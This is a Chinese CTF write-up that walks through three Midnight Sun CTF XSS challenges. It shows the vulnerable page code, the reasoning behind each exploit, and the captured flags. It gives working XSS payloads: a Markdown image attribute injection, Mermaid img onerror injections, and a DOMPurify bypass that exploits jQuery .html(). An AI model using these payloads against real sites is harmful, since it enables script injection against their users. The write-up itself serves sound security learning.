0%

MidnightsunCTF中三道xss复现 Writeup

前言

这次比赛对于我这个菜鸟来说难度还是挺大了,这里记录一下这次比赛的题目复现,大佬请绕过。

正文

Marcodowno

这是一道有关Markdown的xss漏洞

根据题目提示这里应该是一个xss漏洞,点击here查看这个页面的源码发现:

1
2
3
4
5
6
7
8
9
10
11
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);

function markdown(text){
text = text.replace(/[<]/g, '').replace(/----/g,'<hr>').replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>').replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>').replace(/__([^_]+)__/g, '<b>$1</b>').replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>').replace(/\* ([^*]+)/g, '<li>$1</li>').replace(/##### ([^#\n]+)/g, '<h5>$1</h5>').replace(/#### ([^#\n]+)/g, '<h4>$1</h4>').replace(/### ([^#\n]+)/g, '<h3>$1</h3>').replace(/## ([^#\n]+)/g, '<h2>$1</h2>').replace(/# ([^#\n]+)/g, '<h1>$1</h1>').replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>').replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>').replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>').replace(/`([^`]+)`/g, '<code>$1</code>').replace(/```([^`]+)```/g, '<code>$1</code>').replace(/\n/g, "<br>");
return text;
}

window.onload=function(){
$("#markdown").text(input);
$("#rendered").html(markdown(input));
}

阅读这段代码,发现可以利用markdown上图片的语法进行xss,payload:

1
![sher%22 onload=%22alert(%271%27);](https://i.imgur.com/pJYyTub.png)

然后把这个存在xss的url发在首页的输入框中就可以得到flag

1
midnight{wh0_n33ds_libs_wh3n_U_g0t_reg3x?}

Marcozuckerbergo

和第一道题类似,但是利用了Mermaid,一个用于作图的库,使用JS 进行本地渲染,广泛集成于许多Markdown 编辑器中。

同样进入here,查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);

window.onload=function(){
$("#markdown").text(input);
$("#render").text($("#markdown").text());
mermaid.init(undefined, $("#render"));
}

function rerender(){
try{
$("#render").html();$("#render").removeAttr("data-processed");$("#render").text($("#markdown").text());mermaid.init(undefined, $("#render"));
}catch(x){
$("#render").html("<font id='error' color=red></font>");
$("#error").text(x);
}
}

然后Google一下mermaid markdown xss,发现有几个官方链接有说这个漏洞

https://github.com/knsv/mermaid/issues/548

https://github.com/knsv/mermaid/issues/148

根据上面链接所说的进行fuzz一波

可以显示图片,这里我们可以用css中的img标签onerror属性进行xss,这里还有一个trick就是JavaScript中可以用`代替(),payload:

1
graph TD; D((<img src='https://i.imgur.com/FFn2QB9.pn'   onerror='alert`1`' />))

把url提交到首页的输入框中便可得到flag

1
midnight{1_gu3zz_7rust1ng_l1bs_d1dnt_w0rk_3ither:(}

这道题还能使用mermaidid1函数进行xss构造,在上面我提供的两个链接里也有说到,这里就不多说了,贴一下payload:

1
graph LR%0a id1("<img src='' onerror='alert(1)'></img>")

Marcoolio

第三道有关Markdownxss漏洞

同样进入here,查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);
var converter = new showdown.Converter({tables: true});

window.onload=function(){
$("#markdown").val(input);
html = converter.makeHtml(input);
clean = DOMPurify.sanitize(html);
md = converter.makeMarkdown(clean);
if(md.replace(/[\s\\]/g,"") === input.replace(/[\s\\]/g,"")){
$("#render").html(html);
}else{
$("#render").html("<font id='error' color=red></font>");
$("#error").text("hacking attempt!!!");
}
}

function rerender(){
try{
input = $("#markdown").val();
html = converter.makeHtml(input);
clean = DOMPurify.sanitize(html);
md = converter.makeMarkdown(clean);
if(md.replace(/[\s\\]/g,"") === input.replace(/[\s\\]/g,"")){
$("#render").html(html);
}else{
$("#render").html("<font id='error' color=red></font>");
$("#error").text("hacking attempt!!!");
}
}catch(x){
$("#render").html("<font id='error' color=red></font>");
$("#error").text(x);
}
}

​ 看到这里有一个DOMPurify,看到陌生的东西,我们就需要google一下它,在github中我们可以看到它的介绍中有这样的字样

1
The resulting HTML can be written into a DOM element using innerHTML or the DOM using document.write(). That is fully up to you. But keep in mind, if you use the sanitized HTML with jQuery's very insecure elm.html() method, then the SAFE_FOR_JQUERY flag has to be set to make sure it's safe! Other than that, all is fine.

上面的代码是用的JQueryhtml()方法,并且上面的代码中也没有发现开启了SAFE_FOR_JQUERY,由此我们可以在这里通过DOMPurify来进行xss攻击

Google一波关于DOMPurify没开SAFE_FOR_JQUERY进行xss攻击,搜到

https://github.com/cure53/DOMPurify/issues/5

在这个链接中,我们通过一些表哥和作者的聊天看到payload:

1
<option><style></option></select><b><img src=xx: onerror=alert(1)></style></option>

把url提交到首页的输入框中便可得到flag:

1
midnight{[email protected]_7exT}

总结

这三道xss虽说是我赛后复现的,但是都是我再看了国外老哥wp思路后进行自行的复现学习记录,这个过程还是学会了很多。最重要的还是在打ctf时遇到不知道的东西时一定要搜索搜索。

这篇文章仅是我对这三道xss的学习记录以及CTF比赛的总结,大佬请绕过,勿喷!!!

参考链接

https://github.com/knsv/mermaid/issues/548

https://github.com/knsv/mermaid/issues/148

https://github.com/perfectblue/ctf-writeups/tree/master/midnightsun-ctf-2019-quals/marcozuckerbergo

https://github.com/perfectblue/ctf-writeups/tree/master/midnightsun-ctf-2019-quals/Marcoolio